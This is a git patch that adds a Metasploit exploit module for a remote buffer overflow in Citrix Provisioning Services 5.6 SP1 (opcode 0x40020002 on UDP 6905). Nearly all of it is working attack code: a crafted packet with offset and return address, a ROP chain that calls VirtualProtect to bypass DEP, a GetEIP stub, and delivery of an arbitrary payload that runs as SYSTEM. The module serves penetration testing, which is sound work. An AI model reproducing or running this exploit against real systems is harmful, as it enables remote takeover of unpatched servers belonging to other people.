From e324ed525150fe088cbaa78f43cee52120f4122e Mon Sep 17 00:00:00 2001
From: jvazquez-r7 <juan.vazquez@metasploit.com>
Date: Thu, 31 May 2012 23:21:43 +0200
Subject: [PATCH] Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode
 0x40020002 Buffer Overflow

---
 .../misc/citrix_streamprocess_get_footer.rb   | 118 ++++++++++++++++++
 1 file changed, 118 insertions(+)
 create mode 100644 modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb

diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb
new file mode 100644
index 0000000000..03d84ba3ba
--- /dev/null
+++ b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb
@@ -0,0 +1,118 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::Remote::Udp
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020002 Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a remote buffer overflow in the Citrix Provisioning Services
+				5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode
+				0x40020002 (GetFooterRequest) to the 6905/UDP port. The module, which allows to execute
+				code under the context of SYSTEM, has been successfully tested on Windows Server 2003 SP2
+				and Windows XP SP3.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'alino <26alino[at]gmail.com>', # citrix_streamprocess_data_msg author
+					'juan vazquez'  # Metasploit module
+				],
+			'Version'        => '$Revision: $',
+			'References'     =>
+				[
+					['OSVDB', '75780'],
+					['BID', '49803'],
+					['URL', 'http://support.citrix.com/article/CTX130846']
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+					'InitialAutoRunScript' => 'migrate -f',
+				},
+			'Payload'        =>
+				{
+					'BadChars' => "\x00",
+					'EncoderOptions' => {'BufferRegister'=>'ECX'},
+				},
+			'Platform'       => ['win'],
+			'Targets'        =>
+				[
+					[ 'Citrix Provisioning Services 5.6 SP1',
+						{
+							'Offset' => 5596,
+							'Ret'    => 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe
+						}
+					]
+				],
+			'Privileged'     => true,
+			'DisclosureDate' => 'Nov 04 2011',  #CTX130846 creation date
+			'DefaultTarget'  => 0))
+
+		register_options([Opt::RPORT(6905)], self.class)
+	end
+
+	def exploit
+
+		packet =  "\x02\x00\x02\x40" # DATA MSG
+		packet << rand_text_alpha_upper(18)
+		packet << "\x00\x00\x00\x00" # Length
+		packet << rand_text_alpha_upper(target['Offset'])
+		packet << [target.ret].pack('V')
+
+		rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe
+
+		rop_gadgets =
+		[
+			0x0045b141, # POP EAX; RETN streamprocess.exe
+			0x1009a1bc, # VirtualProtect()
+			0x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe
+			0x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe
+			0x004ad0cf, # POP EBP; RETN streamprocess.exe
+			0x00455d9d, # PUSH ESP; RETN streamprocess.exe
+			0x00497f5a, # POP EAX; RETN streamprocess.exe
+			0xfffff9d0, # dwSize
+			0x00447669, # NEG EAX; RETN streamprocess.exe
+			0x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe
+			0x00426305, # POP ECX; RETN streamprocess.exe
+			0x00671fb9, # lpflOldProtect
+			0x004e41e6, # POP EDI; RETN streamprocess.exe
+			0x0040f004, # RETN streamprocess.exe
+			0x00495c05, # POP EAX; RETN streamprocess.exe
+			0xffffffc0, # flNewProtect
+			0x0042c79a, # NEG EAX; RETN streamprocess.exe
+			0x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe
+			0x0045c1fa, # POP EAX; RETN streamprocess.exe
+			0x90909090, # NOP
+			0x00435bbe, # PUSHAD; RETN streamprocess.exe
+		].pack("V*")
+
+		packet[398, rop_nop.length] = rop_nop
+		packet[550, rop_gadgets.length] = rop_gadgets
+		# Put payload address in ecx
+		geteip = "\xeb\x03" # jmp short 0x5
+		geteip << "\x59" # pop ecx
+		geteip << "\xff\xd1" # call ecx
+		geteip << "\xe8\xf8\xff\xff\xff" # call to "pop / call"
+		packet[634, 10] = geteip
+		packet[644, payload.encoded.length] = payload.encoded
+
+		print_status("Trying target #{target.name}...")
+
+		connect_udp
+		udp_sock.put(packet)
+
+		handler
+		disconnect_udp
+	end
+end